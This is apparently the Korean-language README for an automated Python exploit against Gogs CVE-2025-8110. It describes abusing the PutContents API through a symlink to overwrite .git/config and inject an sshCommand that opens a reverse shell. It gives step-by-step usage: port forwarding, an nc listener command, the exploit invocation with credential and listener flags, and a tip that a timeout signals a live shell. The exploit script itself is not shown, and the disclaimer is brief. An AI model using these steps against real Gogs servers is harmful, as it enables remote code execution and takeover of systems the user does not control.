
Gogs CVE-2025-8110 RCE Exploit
Gogs의 CVE-2025-8110에 대한 자동화된 Python 익스플로잇입니다. 이 취약점은 PutContents API를 악용하여 원격 코드 실행(RCE)을 가능하게 하며, 해당 API는 파일 경로가 심볼릭 링크인지 검증하지 않습니다. 심볼릭 링크를 통해 내부 .git/config 파일을 덮어씀으로써 악의적인 sshCommand를 주입하여 리버스 셸을 트리거할 수 있습니다.
Python 3 및 필요한 종속성이 설치되어 있는지 확인하세요.
pip install requests rich beautifulsoup4
또한 git이 설치되어 있고 $PATH에 있어야 저장소 복제 및 커밋 단계를 수행할 수 있습니다.
Gogs는 127.0.0.1:3001에 바인딩되어 있을 수 있습니다. 로컬에서 WebUI에 접근하려면 포트 포워딩을 사용하세요.
ssh -L 3001:127.0.0.1:3001 user@target-ip
포워딩이 완료되면 http://localhost:3001로 이동합니다.
스크립트는 Gogs API를 사용하여 페이로드를 전달합니다.
스크립트를 실행하기 전에 리스너를 시작하세요. API 업데이트가 처리되는 즉시 셸이 트리거됩니다.
nc -lvnp 5555
자격 증명과 토큰을 인수로 전달합니다.
python3 exploit.py -u http://localhost:3001 -un <YOUR_USER> -pw <YOUR_PASS> -t <YOUR_TOKEN> -lh <YOUR_IP> -lp 5555
| Flag | 설명 |
|---|---|
-u | Gogs 인스턴스의 기본 URL (예: http://localhost:3001). |
-un | 생성한 계정의 사용자 이름. |
-pw | 생성한 계정의 비밀번호. |
-t | 설정에서 생성한 API 토큰. |
-lh | 리스너의 IP 주소 (LHOST). |
-lp | 리스너의 포트 (LPORT). |
참고: 스크립트가 멈추거나 "Overwriting .git/config" 후
Read timed out오류가 반환되면 리스너를 확인하세요. 이는 보통 리버스 셸이 성공적으로 연결되어 연결을 유지하고 있음을 나타냅니다.
저자: TYehan
면책 조항: 이 도구는 교육 목적과 승인된 보안 감사 전용입니다. 책임감 있게 사용하세요.